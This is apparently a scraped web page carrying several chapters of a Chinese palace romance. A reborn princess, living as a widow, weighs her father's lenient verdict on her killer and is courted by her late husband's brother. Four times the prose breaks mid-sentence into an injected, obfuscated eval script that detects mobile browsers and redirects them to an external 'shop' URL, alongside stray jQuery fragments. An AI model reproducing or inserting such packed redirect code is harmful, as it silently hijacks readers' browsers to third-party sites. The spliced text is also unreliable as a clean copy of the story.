齐王李琮竟是在戏台上接的旨。他身着戏服,面绘霸王脸谱,醉眼朦胧地听完旨意,忽地仰天大笑。 “褫夺亲王封号,贬为庶人,圈禁皇陵……”他一边笑,一边摇头,“好啊,真好。陛下终究是选了那个死人,不要我这个活着的侄儿了。” 他接过圣旨,随手掷于戏台之上,踩着那明黄绢帛行至台边,对着空荡的庭院高声嘶喊:“继续唱!给本王唱《长生殿》!‘天长地久有时尽,此恨绵绵无绝期’!” 那癫狂形貌,令宣旨太监都暗自心惊。 消息如生双翼,瞬间传遍京城。 齐王李琮,残害手足,罪证确凿,本当处死。念其乃皇家血脉,特网开一面:褫夺亲王封号,贬为庶人,圈禁于皇陵思过,非死不得出。其母族及相关党羽,一律严惩不贷。 而安阳公主,被追封为“护国昭仁敬敏安阳长公主”,封号荣宠已极,礼部奉命以最高规格重修陵寝,四时祭祀,香火不绝。 朝野震动,议论纷纷。 有人说天子公正,大义灭亲;有人唏嘘皇室无情,兄弟阋墙;更有人暗自思量,这朝堂的天,怕是真的要变了。 国公府,静心斋。 李妙仪独坐窗边,听着淅沥雨声,心底那缕违和感始终萦绕不散。 齐王固然嫉恨她,但以其心机城府,当真会如此冲动,在皇家猎场、众目睽睽之下,行此亲手杀人之举?还是说,那日的争执激烈到超乎想象,彻底激怒了他,令他理智尽失? 她试图回忆,脑海中却唯有破碎光影。她想不起争执的内容,想不起齐王的脸,想不起坠崖前到底发生了什么。 记忆的缺失,令她如同盲人扪象,只能依靠外界拼凑的图景来还原所谓真相。而这块拼图,如今已被皇帝与朝堂共同认可。 然而,更令她心骨俱寒的,是父皇的处置。 褫夺封号,圈禁皇陵。听来严厉,可对于等同弑亲的大罪而言,这惩罚,太轻了,他甚至保住了性命! “护国昭仁敬敏安阳长公主。” 李妙仪轻轻念出这个封号,嘴角浮起一抹嘲讽的笑。何等荣耀,何等尊贵。可这荣耀尊贵,是给死人看的。 她的死,最终只成了权力权衡下的一枚筹码,一个用以维护皇室体面、避免更大丑闻的牺牲品。父皇用齐王的圈禁换来“大义灭亲”之名,用她的追封安抚了母后与天下人,却唯独未曾给她真正的公道。 凶手还活着,只是换了个地方被供养起来。母后的悲痛,并未因此得到真正的慰藉。而那些可能隐藏在更深处的黑手,依旧逍遥法外。 一股巨大的悲凉与愤怒,如冰火交织,在她胸中猛烈冲撞。她死死咬住下唇,直至尝到腥甜,才未让那哽咽冲破喉咙。 眼眶干涩刺痛,却流不出一滴泪。或许,自她重生为崔令言的那一刻起,属于安阳公主的眼泪,便已流尽了。 如今她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225898|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正明白,在皇权面前,什么父女亲情,什么骨肉血亲,皆不值一提。他要维护的,是皇家的体面,是朝局的稳定,是他身为帝王的威严。至于她的冤屈,不过是他权衡利弊时,可以轻易割舍的棋子。 雨渐渐停了,云层裂开缝隙,阳光洒落,在水洼中映出破碎金光。 “少夫人,”门外传来丫鬟的声音,“二公子回来了,正在书房等候。” 李妙仪深深吸气,闭目凝神。再度睁眼时,眸中已复平静,只是那平静之下,是深不见底的寒凉。 “知道了,我这就去。” 书房只燃着一盏孤灯,郑淮序坐于书案之后,身影在昏黄光线中显得格外孤峭。他手中持着一份卷宗,眉头紧锁,直至李妙仪步入,方似惊觉。 “二郎。”她轻声唤道。 郑淮序抬首,见是她,冷峻神色稍缓:“坐。” 李妙仪于他对面落座,目光掠过案上摊开的卷宗,那是陈昶的口供,鲜红画押触目惊心。 “公主的案子,便如此定了?”她问,声线平稳,似在谈论一件与己无关的旧闻。 郑淮序放下卷宗,指节在案沿轻叩:“圣旨已下,便是定了。” “所有证据,皆指向齐王?” “动机、人证、物证,链条俱全。”郑淮序看着她,目光深邃,“你觉得,何处不妥?” 李妙仪沉默片刻,方缓缓道:“以齐王心性,若真欲行凶,会在皇家猎场、众目睽睽之下,用如此直白显眼的手段么?这不像他的作派。” 郑淮序眼中掠过一丝极淡的欣赏:“你看得透彻,这亦是我心中所疑。” 他起身,自暗格中取出一方小巧木匣,推至她面前。匣盖开启,内里仅有一封密信。 “此信,是我安插在齐王府的人,昨日方冒险送出。” 李妙仪展开信纸,上面仅寥寥数语:“殿下醉后常呓语‘非我所愿’、‘替人受过’。前日大醉,曾痛哭失声,言‘皇妹,我对不住你’。” 她指尖一颤,随即稳稳按住纸页边缘,面色未改分毫。 “齐王或许知情,或许涉入其中,”郑淮序的声音清晰入耳,“但他未必是主谋。至少,未必是唯一的凶手。” “那会是谁?”李妙仪蓦然抬首,眼底似有幽火燃起,“谁能驱策齐王?谁有这般能耐?” 郑淮序未答,只深深望着她。目光相接处,某种无声的共识在寂静中流转,不必言明,彼此心照。 能驱使一位亲王的,唯有地位更高之人。 李妙仪袖中手指缓缓收紧,指甲陷入掌心,钝痛清晰。 “我仍在查。”郑淮序握住她的手,“真相不会永远石沉大海,你可信我?” “我信。”李妙仪迎上他的目光,“可我不仅想要真相,我要所有牵涉其中之人,都付出代价。” “会的。”郑淮序掷地有声,“无论那人是谁。” 有些话不必说尽,有些事不必道破。 李妙仪行至门前,又停步回首。烛光将她侧影勾勒得清晰,她微微欠身,而后转身步入廊下渐密的雨声中。 郑淮序目送她离去,直至那身影彻底融入夜色,方收回目光。 案上密信仍在灯下静卧,墨字如刀。他抬手将信纸移近烛火,焰舌舔上边缘,顷刻吞噬了那些字句。 安阳公主已逝。 但有些人还活着。 这场棋局,远未到终局。 34. 暑气 盛夏的日头像淬了金的火,明晃晃地烫人。 国公府这一日开了库,将箱笼里经年累月的书画搬出来晒,回廊下、敞轩中,一轴轴摊开,绫锦似的书页在日光下舒展。旧纸与油墨的气息浮起来,混着草木蒸腾出的清气,在热风里悠悠地荡。 阖府上下都忙碌着,人影穿梭,语笑隐约。李妙仪也挽了袖,在庭中帮着摊晾书籍。不意间才发现,自己的书竟也攒了这些:诗赋、杂记,还有几本医书,一并铺在竹席上,晒得书脊微微发烫。 风过时,书页哗啦啦地响。一本旧籍被吹开,里头夹着的素宣忽然飘了出来,打了两个旋,轻轻落在她裙边。 她俯身拾起,展开的一瞬,呼吸滞住了。 画中女子着淡青襦裙,执卷坐在窗前,侧影娴静,眉目低垂,像是在凝思。那人眼角一颗极淡的小痣,执书时微微蜷曲的小指,都是她惯常的小动作,却被描摹得这样分明。 目光移向画旁的题字,心口像被什么不轻不重地揉了一下。 “诗清如泉,人静若竹,此生得伴灯前影,已胜人间万卷书。济川手记。” 是郑淮舟的字。 这府邸里处处是他留下的痕迹:庭院中他手植的松柏已亭亭如盖,书房里他常用的洮砚还静静搁着。如今,又多了这样一幅画。 “少夫人。”青鸾抱着一摞书过来,见她对着张纸出神,凑近看了一眼,“咦?这画的是……” 她蓦地噤声,觑着李妙仪的神色,忙又笑着宽慰:“少夫人莫要伤怀!世子在天有灵,定是盼着您日日欢喜的。您瞧这日头多好,晒得书页暖烘烘的,霉气都散了,是好兆头呢!” 话未落地,身后便响起一道清冽的嗓音。 “嫂嫂。” 郑淮序不知何时已站在水榭台阶下,一身雨过天青色的夏袍,身姿挺拔如竹。他望过来时,目光在她手中的画纸上停了一瞬。 “二郎有事?”李妙仪将画纸轻轻合拢,夹回书里。 “我那边有些藏书,多是些要紧的卷宗舆图,不便让下人经手,想烦请嫂嫂过去帮忙归置晾晒。”他语气寻常,仿佛真是来请帮手。 李妙仪不疑有他,想着自己这边也差不离了,便点头应下,吩咐青鸾好生照看着,自己随郑淮序往他的院子去。 他的院子愈发清幽,遍植翠竹,暑气也仿佛被滤去几分。进了书房,果然见几只大箱笼敞着,里头书册卷轴码得齐整。 李妙仪正要挽袖动手,却听身后“嗒”一声轻响,门被合上了。 心头一跳,尚未回身,腰肢便被一只有力的手臂从后圈住,整个人跌入一个温热坚实的怀抱。 “嫂嫂方才,”郑淮序的气息拂过她耳畔,“是对着兄长的遗作,念念不忘?” 李妙仪一僵,原来青鸾那些话,竟被他听了去。 “郑淮序,放手。”她蹙眉,试着挣了挣。 夏日衣衫薄,他身上烫得惊人,隔着两层衣料也能感受到那股灼人的热度。她本就畏热,此刻被他这样箍着,更是觉得闷窒难当,后背沁出一层薄汗。 “不放。”他答得干脆,声音里带着压制的醋意,“他画了你,珍藏至今,我呢?” “郑淮序!”李妙仪恼了,扭动得更用力些,“这是在你书房,像什么样子!” “书房又如何?”他低低笑了一声,那笑意震在胸膛,隔着衣料传递到她脊背上。 话音未落,他手臂下滑,忽然抄起她的腿弯,将她整个人打横抱了起来。 “你做什么?!”李妙仪惊呼,慌忙攀住他肩颈稳住身子。 郑淮序不答话,径自抱着她穿过书房侧门,大步流星转入相连的内室。 李妙仪又羞又急,腾出手揪他耳朵:“你到底放不放我下来?” 话音刚落,人已进了内室。预想中的闷热却并未袭来,反倒有一股清润的凉意扑面而至,夹杂着醒神的薄荷香气。 李妙仪怔住,抬眼看去。 内室悬着数幅细竹为骨、素纱为面的帘帐,那纱帘浸透了碧莹莹的薄荷水,正往下滴着沁凉的水珠。水珠坠地无声,凉意却丝丝缕缕弥漫开来,将满室燥热驱散大半。 这是从前夏日,她寝殿内常布置的“水帘香帐”。 郑淮序将她放在临窗一张铺了玉簟的凉榻上。 榻边小几上摆着一只琉璃碗,碗中是堆叠如雪的碎冰,冰上覆着鲜红的西瓜瓤、金黄的杏脯、莹白的荔枝肉,浇了少许花蜜,正是一碗消暑的“甜碗子”。 “暑气重,你先用些这个。”他在她身侧坐下,将琉璃碗推到她面前,“我看着你吃完。” 李妙仪心头那点气恼,被这满室清凉和眼前的甜碗子冲散了些许,但思及方才他放肆的举止,到底余怒未消。 她抿着唇不看他,拿起银匙,舀了一勺带着冰碴的瓜果,气呼呼地送进嘴里,脸颊染着薄红。 郑淮序在一旁静静看着,她吃相斯文,即便带着气,也是小口小口地抿,鼓着腮帮子,长睫低垂,在眼下投出浅浅的影。 方才那点子醋意,也被这生动的模样驱散了。 他忽然起了逗弄的心思,凑近了些:“甜么?” 李妙仪吓了一跳,勺子磕在碗沿,发出清脆一响。她抬眼瞪他,眸子里映着薄荷水帘的碧色,水光潋滟:“你离远些!” “不甜?”他又凑近一分,目光落在她沾了点蜜色的唇瓣上,“我尝尝?” “郑淮序!”李妙仪彻底恼了,也顾不得什么甜碗子,抬手便推他。 他却顺势捉住她的手腕,她另一只手又挥过来,被他轻轻格开。 两人在凉榻上拉扯了几下,她力道不敌,被他制住,越发羞愤,腿也胡乱蹬了几蹬,踹在他小腿上。 这一闹,那些刻意维持的界限、彼此试探的心照不宣,都仿佛被这薄荷清气的凉风吹散了。 郑淮序看着她气红的脸、瞪圆的眼,恍惚间,像是回到了许多年前,也是这般只有彼此的时刻。 即便她从未亲口承认,但这数月来的点点滴滴,她偶尔流露的眼神、习惯、乃至此刻毫无伪饰的情态,早已让他心中笃定:她就是安阳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225899|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 空气中弥漫的凉意与甜香,似乎也搅动起别样的情愫。郑淮序凝视着她近在咫尺的容颜,喉结轻轻滚动,慢慢低下头。 李妙仪在他靠近的瞬间偏开了头,那份柔软,便落在了她的唇角。 她身体僵着,没有回头。 郑淮序也没再进一步。他松开钳制她的手,坐直了身子,仿佛什么都没发生过,只声音有些低哑:“快吃吧,冰要化了。” 李妙仪默默坐好,重新拿起银匙,一口一口,慢慢将剩下的甜碗子吃完。 夜幕垂落时,白日的酷热终于收敛了爪牙,晚风带来些许凉意。府中各处渐次点起灯火,复归于宁静。 李妙仪沐浴后,散了发,只着轻薄的寝衣,坐在窗边兀自发呆。那幅画,那满室清凉的薄荷帐,那个落在唇角的吻,都搅得她心绪难宁。 忽然,窗棂被极轻地叩响。 她一怔,取来披风披上,这才推开窗。 窗外郑淮序一身玄色衣袍,几乎融在夜色里,只一双眼睛亮得惊人。 “跟我来。”他言简意赅,向她伸出手。 这只开屏的孔雀,又想做什么? 李妙仪迟疑一瞬,看了眼寂静的院落,终究将手递了过去。 他稳稳握住,带着她悄无声息地翻出窗外,避开巡夜的婆子,几个起落便出了国公府侧门。 门外巷中停着一辆不起眼的青篷小车,他将她扶上车,自己也钻入,马车便轱辘辘驶动,直奔城西曲江池。 夜间的曲江池,与白昼的游人如织截然不同。水面开阔,映着漫天星子与远处城郭的稀疏灯火,静谧浩渺。岸边系着一叶扁舟,除此之外,再无旁人。 郑淮序扶她上船,执桨轻轻一点,小舟便滑入莲叶深处。水汽沁凉,荷香暗浮,间或有鱼儿跃出水面,“噗通”一声脆响。 他解释道:“知你畏热,在此处散散暑气,回去也好入眠。” 置身这万籁俱寂的水中央,李妙仪终于松下心神。她摘了一片荷叶,倒扣在膝上,又接过郑淮序递来的酒囊,将清冽的酒液倾入荷叶凹处,俨然制成一只天然的碧玉杯。 想了想,她又探身摘了几朵将开未开的茉莉,簪在鬓边,借着星月微光,权作照明的小灯,别有一番野趣天真。 郑淮序停了桨,任由小舟在藕花深处荡漾,只静静望着她。月华星辉淡淡笼着她,茉莉胜雪,人面如玉,这一幕美好得不似真实。 酒意微醺,带着荷叶的清气滑入喉肠。李妙仪捧着荷叶杯,望着粼粼波光,心底潜藏的不安悄然浮起。 此刻的恣意,是因在这无人知晓的暗夜,在这与世隔绝的水上。可白日终会来临,他们终究要回到那重重府邸、森严礼法之中。 他这般细致周到,这满船的清凉,这夜游的雅趣,将来又会用在哪个名正言顺的女子身上? “郑淮序。”她忽然开口,声音被水汽浸润,有些飘忽。 “嗯?” “你将来,”她顿了顿,指尖摩挲着荷叶粗糙的脉络,“也会对你的妻子,这般好吗?” 35. 倦鸟 小舟轻轻一晃,郑淮序稳住船身,划动船桨,待舟平浪静,方清晰答道:“我将来娶的人,只会是你。” “不行,”李妙仪打断他,语气是前所未有的坚决,“我是你的嫂嫂,你若娶我,在盛京会掀起怎样的风浪?那些唾沫星子,会淹死你,淹死国公府。我不能让你们因我受这等非议。” “嫂嫂?”郑淮序忽地轻笑一声,随即放下船桨,朝她坐近。 小舟因这动作剧烈摇晃起来,李妙仪低呼一声,下意识抓住船舷。他却趁势握住了她的手腕,将她往身前一带。 两人距离骤然缩短,他身上炽热的气息隔着夏衣传来,比夜风更灼人。 “叔嫂之间,”他低头,气息拂过她的唇,目光如锁,“会这样吗?” 下一刻,那炽热已不容分说地覆了上来。 不同于午后小心翼翼的试探,此刻浓烈的酒意与荷香化作铺天盖地的潮水,重重碾过她的唇齿。他吻得极深,像是要侵吞她的呼吸、她的理智、她所有的退路。 李妙仪想推开,手腕却被他牢牢握住;想避开,后颈却被他的掌心轻轻托住,逃无可逃。 随后,掌心滚烫的温度烙在腰侧,唇贴着她跳动的脉搏,轻轻吮了一下。 她呼吸一窒,身体不由自主地轻颤。 舷侧擦过高挺的荷叶,簌簌作响,荡开一圈圈凌乱的银粼,仿佛也为这隐秘的一刻屏住了呼吸。 不知过了多久,郑淮序才微微抬起头,鼻尖相触,目光在极近处深深胶着。 “感觉到了吗?”他哑声问,指腹抚过她微肿的唇瓣,“这才是我对你,没有什么叔嫂,只有郑淮序,和你。” 李妙仪几乎要坐不住,残存的理智在呐喊这不合礼法,可她终究没骨气地,在他的注视与碾磨下微微颤抖。 夏夜的闷热似乎在此刻达到了顶点,又被池水氤氲的凉气包裹,酿成一种粘稠的氛围。这一叶扁舟,也成了茫茫夜色中一座孤岛。 微凉的夜风拂入,却转瞬即逝。 李妙仪仰起脸,透过荷叶的缝隙,看见星空碎成闪烁的光斑。鬓边那朵洁白的茉莉翩然坠下,落在舱板上,香气反而愈发浓郁。 所有前尘往事、身份枷锁、利害权衡,在这一刻都被搅得粉碎,遥远得不再真实。 只剩他坚实的怀抱,清晰可依。 摇晃的船身惊起近处蛰伏的水鸟,扑棱棱掠向远处,只留下几声惊鸣回荡在水面,又迅速被浓重的夜色吞没。 自曲江池归来后,那一夜的水波星光似一场梦,日夜浮沉,挥之不去。 中秋宫宴那日,暮色初降,国公府的马车碾过御街的青石板,驶入沉沉宫门。 透过纱帘缝隙,李妙仪望向巍峨宫墙,指尖陷进掌心。没想到有朝一日,她会以另一种身份,另一个名字,回到这曾经的“家”。 “令言,”国公夫人的声音将她从回忆中拉回,“可是紧张了?” 李妙仪微微摇头,唇角扬起恰到好处的弧度:“母亲放心,儿媳明白分寸。” 宴设太液池畔的蓬莱阁,灯火煌煌,映得池水碎金流银。丝竹声与环佩笑语交织,漾作一片浮华的喧嚷。 李妙仪今日着一身藕荷色宫装,发髻低绾,只簪一支素白玉步摇。这装扮在珠光宝气间显得过分素净,却恰好衬得她眉眼沉静,气质出尘。 进入蓬莱阁,香气扑鼻而来,是御制的龙涎香混着果馔甜香、酒液醇香,还有命妇们身上各色熏香。 她垂眸静坐,手中团扇有一下没一下地轻摇,目光却一次次,不受控制地飘向御阶上那袭明黄凤袍。 她的母后。 皇后缠绵病榻近两载,去岁渐有起色,可眉宇仍锁着散不去的郁悒。凤座上,她受着命妇们的朝贺,唇角含笑,笑意却未及眼底。 她忽然想起儿时的一个中秋,阖宫宴饮,她因贪玩不肯安坐,在席间跑来跑去,差点撞翻了宫人手中的玉壶。母后没有责备,只是温柔地将她揽入怀中,亲自执勺喂食。 三皇兄瞧见了,刮着脸颊羞她:“妙仪羞羞,这么大了还要母后喂。” 她当时把脸埋进母后怀里,闻着母后身上熟悉的馨香,觉得那是世间最安全温暖的所在。 此刻,不过隔着二三十步的距离,她却不能唤她,不能扑到她膝前痛哭这几年的委屈,甚至不能长久凝视,唯恐泄露眼底汹涌的思念。 宴至半酣,帝后循例赐酒赏果,宫人们捧着金盘玉盏,鱼贯而行于各席之间。 轮到国公府席前时,一直神色淡淡的皇后忽然抬眼,目光落在李妙仪面上。 殿内丝竹声未歇,笑语依旧,可那一瞬间,李妙仪感觉周遭的一切声音都远去了,只剩下自己如擂鼓的心跳。 “下头坐着那位,便是郑将军的遗孀?”皇后声音不高,带着久病的虚浮,却奇异地压住了殿内嘈杂。 国公夫人忙起身,恭敬回话:“回娘娘,正是长媳崔氏,闺名令言。” 皇后微微颔首,示意李妙仪近前。 李妙仪依礼起身,在御阶下端正跪拜,垂首屏息。 “抬起头来,让本宫瞧瞧。” 她闻言仰面,烛火明光恰好落在她脸上,照得肌肤莹白如玉,一双眸子清凌凌的,因强忍泪意而蒙了层薄薄水光,在灯火下流转着碎光。 “是个眉目清正的孩子。”皇后端详片刻,语气染上怜惜,“郑将军为国捐躯,堪为忠烈。你能为他持家守业,支撑门庭,亦是难得。” 李妙仪敛目低首,轻声应道:“臣妇陋质,不敢当娘娘夸赞。将军以身殉国,是尽忠报国;臣妇安守其志,是尽本分而已。” 这话说得滴水不漏,既不过分谦卑,也不显得张扬。 皇后眼中闪过一丝动容,招手让她再近些,竟破例赐了绣墩,允她在御阶旁侧坐下。 这般殊荣,引得席间微有低语。命妇们交换着眼神,有人艳羡,有人不解,也有人暗自揣测皇后此举的深意。 李妙仪恭谨侧坐,皇后温言问起她平日起居、所读何书、家中可有消遣。她一一作答,声音平稳,提及自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“郑国公。”帝王声音浑厚,穿透丝竹乐声,带着不容置疑的威严。 郑国公即刻离席,躬身长揖:“老臣在。” “朕闻你府上长媳崔氏,近日不仅以私产购粮于城外施粥赈济,更于京中多处设棚施茶,赠饮凉汤以解暑热,此事可真?” 郑国公恭敬答道:“陛下圣察。长媳崔氏见流民困顿、百姓暑热难消,私心难安。老臣感其诚,未加阻拦。确有其事。” “善!”仁宣帝抚掌赞道,声如洪钟,“恤困于野,施凉于市,忠孝仁善,一门俱足,实为朝野典范。” 他视线转向李妙仪,语气渐沉:“崔氏,你年纪虽轻,却善行兼备,朕心甚慰。” 李妙仪再次出列跪拜,伏身于地。 仁宣帝似在斟酌,随即朗声道:“传旨:赐崔氏绢帛百匹,东珠一斛,特封五品‘贞懿夫人’,以彰其淑德,亦慰忠烈之后。” 满殿哗然。 36. 望云 按本朝制度,命妇诰封须侍奉翁姑多年、德行著闻,或赖夫、子功勋请封。而崔氏新寡无子,年未二旬,竟蒙天子当庭特封,此等恩荣,确为本朝罕有。 席间命妇们神色各异,有人真心赞叹,有人暗自嫉羡,也有人若有所思。 李妙仪深深叩首,眼中却未见丝毫欢欣:“臣妇叩谢陛下天恩。” 皇座上的人依旧威严,明黄龙袍衬得他威仪赫赫,只眼角已生了细密纹路。这便是她曾敬仰的父皇,曾经将她抱在膝头教她识字念诗的父皇,亦是最终宽宥了齐王的父皇。 心底冷意蔓延,如腊月寒冰,一寸一寸封冻了最后一丝孱弱的孺慕。 宴散出宫时,已近亥时。 国公府的马车驶离皇城那片压得人喘不过气的辉煌,驶入盛京寻常街巷。 国公夫人靠在软垫上,闭目养神片刻,方才轻轻叹了口气:“今日天家亲自褒奖、破格赐封,便是将你,将咱们全家,再度置于众人目光之下。” 她睁开眼,轻拍李妙仪手背:“‘贞懿’二字是珠冠,也是重石。往后一言一行,更需慎之又慎。辛苦你了,令言。” “母亲教诲,儿媳谨记。”李妙仪扬起一抹笑容,“这重石既已落下,便只当是地基。风急浪高时,低头行稳,比仰面看天踏实。” 国公夫人凝视她片刻,眼中闪过一丝赞许,又夹杂着几分难以言说的忧虑。这孩子太过通透,太过隐忍,反倒让她这个历经世事的婆母心生不忍。 回到国公府时,夜色已浓。府中灯笼次第亮着,在夜风中轻轻摇曳,投下晃动不安的影子。 李妙仪心神俱疲,只想尽快回房卸下这一身沉重的装扮,卸下这戴了一整晚的面具。 正欲穿过月洞门,却见一道身影悄然出现在廊下阴影处。 是郑淮序。 他已换下了宴上的锦袍,只着一身鸦青色常服,腰间束着素色腰带,再无多余饰物。他就那么静静地立在灯影交界处,身形挺拔如竹。 “可愿随我去个地方?”他眸色清亮,映着廊下灯火,盛满熟悉的关切。 她脚步微顿,默默点了点头。 他引她穿过重重院落,绕过假山池沼,来到府邸西侧一座三层小楼前。 此楼名“望云”,是府中最高处,平日少有人来,只作登高望远之用。楼身古朴,飞檐翘角在月色下勾勒出寂静的轮廓,檐角悬着的铜铃叮当作响,如远方梵音。 木梯狭窄,郑淮序走在前面,不时回身伸手虚扶:“小心脚下。” 李妙仪垂下眼,专注于脚下的台阶,却能感觉到他的目光时落在自己身上,带着某种难以言说的专注。 登上楼顶平台,视野豁然开朗。夜风迎面拂来,裹挟着清冽的草木香,瞬间将她身上残留的宫宴脂粉气与疲惫吹散了几分。 李妙仪轻轻舒了口气,凭栏远眺。 盛京万家灯火在脚下铺展,明明灭灭,宛若倒坠的星河,流淌向无尽的远方。而在这片人间灯海之上,一轮明月悬于中天,澄明皎洁,清辉如练,仿佛能洗净一切污浊与算计。 “小时候,每当我心中郁结,便会偷偷跑来此处。”郑淮序走到她身侧,仰首望月,“站得高了,看得远了,便觉得那些烦心事似乎也没那么重要了。天地如此广阔,人生不过沧海一粟。” 李妙仪侧头看他,月光落在他侧脸上,描摹出清峻的线条,那双总是深沉难读的眼,此刻漾着月色,显得格外通透。 “多谢你带我来此。”她轻声道。 郑淮序静静陪她站着,仿佛只需这样并肩看这人间灯火,天上明月,便是最好的慰藉。 风忽然急了,自西北方席卷而来,吹得她衣袂纷飞,步摇上的珍珠流苏乱颤。她身子一晃,尚未反应过来,一只温热的手已稳稳扶住她的手臂。 “当心。” 他的掌心温度透过轻薄的衣袖传来,她没有立刻避开。 风实在太大,他的支撑成了此刻唯一的依傍。 两人站得极近,衣袖交叠,发丝在风中纠缠,分不清是谁的拂过谁的脸颊,带来细微的痒意。 郑淮序稍稍侧身,替她挡去了大半风势。一股清冽的气息笼罩下来,隐约间还杂着一丝宫宴酒液的醇冽,原来他也饮了酒。 “冷么?”他的声音就在耳畔,混在风里,模糊却又清晰。 李妙仪摇摇头,目光仍望着那轮明月,腕上的玉镯滑落几寸,凉意贴着肌肤,提醒着她今晚发生的一切。 郑淮序的目光落在那截皓腕上,又缓缓移至她被风吹得微红的脸颊。 “今日在殿上,你做得极好。”他开口,不是客套的赞许,而是带着他特有的直白与了然,“不惊不惧,从容得体。” “不过是不得不如此罢了。”她喉间微涩,“今时不同往日,一步也错不得。” “所以我说,你做得好。”他的手微微收紧,“往后若觉得难,不必总是一个人撑着。国公府不是皇宫,这里有我在。” 这话说得平静,却字字千钧。 李妙仪怔然望向他,在他眼中看到了坚定与郑重。 风又卷来,比先前更猛,她不自觉向他贴近了些,下意识抓住他的衣袖以稳住身形。 这一次,郑淮序手臂稍一用力,将她轻轻带向怀中,几乎半圈着她,用更坚实的臂膀隔开呼啸的风。 她的侧脸轻抵在他胸前,隔着几层衣料,能感觉到他沉稳的心跳,一下,又一下,渐渐与她自己的心跳叠在一起,分不清彼此。 她合上眼,任由自己在这方寸间的暖意与庇护中,沉溺了片刻。 然而这静谧并未持续太久。 楼下忽然传来轻快的脚步声与笑语,由远及近,打破月夜的宁静 “二哥定是又躲来望云楼喝酒了,今日中秋,咱们非要逮着他不可!” “小声些,莫让他听见跑了!” “怕什么,这楼就一个出口,咱们堵在下面,看他往哪儿跑!” 是郑淮礼、郑淮信和郑华琬。 李妙仪一惊,下意识要退开,郑淮序却手臂一紧,低声道:“来不及下去了。” 他目光一扫,随即揽住她的腰,足下轻点,带着她纵身跃起。 风声掠过耳际,她来不及低呼,人已落在一处倾斜的屋瓦上。 郑淮序一手扣住檐角,另一手仍环在她腰间,两人隐在飞檐投下的阴影里,下方平台上的动静被遮得严严实实。 几乎同时,三个少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230232|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女登上了平台。 “咦?没人?” “定是听见咱们来了,躲起来了!” “搜搜看,定在这附近。” 脚步声杂沓,在平台上散开。 李妙仪屏住呼吸,整个人陷在他怀中,脊背贴着他温热的胸膛。瓦面微滑,她全靠他手臂的力量支撑,不得不将全身重量托付于他。 这般贴近,比方才在栏杆边更亲密数分。 郑淮序低下头,唇几乎贴着她耳廓,用气音道:“莫怕,他们不会上来。” 她一动也不敢动,只极轻地颔首,发丝蹭过他下颌。 下方,郑淮礼几人搜寻未果,开始嬉笑打闹。 “定是躲回房去了,咱们去他院里堵!” “走吧走吧,说不定还能讨些月饼吃。” 脚步声渐渐远去,说笑声也消失在楼下。可郑淮序仍未松手,依旧保持着环抱的姿势,静静立在月光倾洒的屋脊之上。 风声渐悄,月光如练,流淌在两人相贴的身影上。方才的紧张褪去,另一种无声的悸动却悄然蔓延。 “他们走了。”她轻声开口,嗓音有些微颤。 “嗯。”他应了一声,并未动作。 李妙仪抬起眼,迎上他的目光。那双眼在月色中如墨玉流转,清晰映出她的影子,眼底翻涌着她看不分明的情绪,却炙热得让她心慌。 他的视线在她唇上停留了一瞬。 她忽然想起曲江池畔那个吻,唇上仿佛又灼烫起来。不自觉地,她轻抿了下唇,这个细微的动作落在他眼中,却让那眸色更深了几分。 片刻,郑淮序终于松开了手臂,却仍虚虚护在她身侧:“站得稳么?” 李妙仪试着挪步,瓦面湿滑,她身子一晃。 他立刻重新扶稳她:“我带你下去。” 手被他握住,温热包裹着冰凉。他引着她小心踏过屋瓦,寻到一处平缓之地,才揽着她纵身落地,稳稳定在平台之上。 脚踏实地,她却仍觉几分飘忽。手还被他握着,指尖传来他掌心的温度,干燥而温暖。 “吓着了?”他低声问,指腹在她手背上轻轻抚过。 李妙仪摇摇头,想抽回手,他却稍稍收拢了指尖,不让她逃离。 两人就这样站在月光下,手握着手,目光相缠,谁也没有再说话。远处的灯火明明灭灭,近处的虫鸣时断时续,一切声音都成了背景。 “今夜,”他顿了顿,似在斟酌词句,“多谢你陪我。” 该说谢的是我,这句话在李妙仪心中转了几转,终未出口。万语千言凝在月色里,最后只化作一句轻喃:“月色真的很好。” 郑淮序终于松开她的手,退开半步:“起风了,送你回去。” 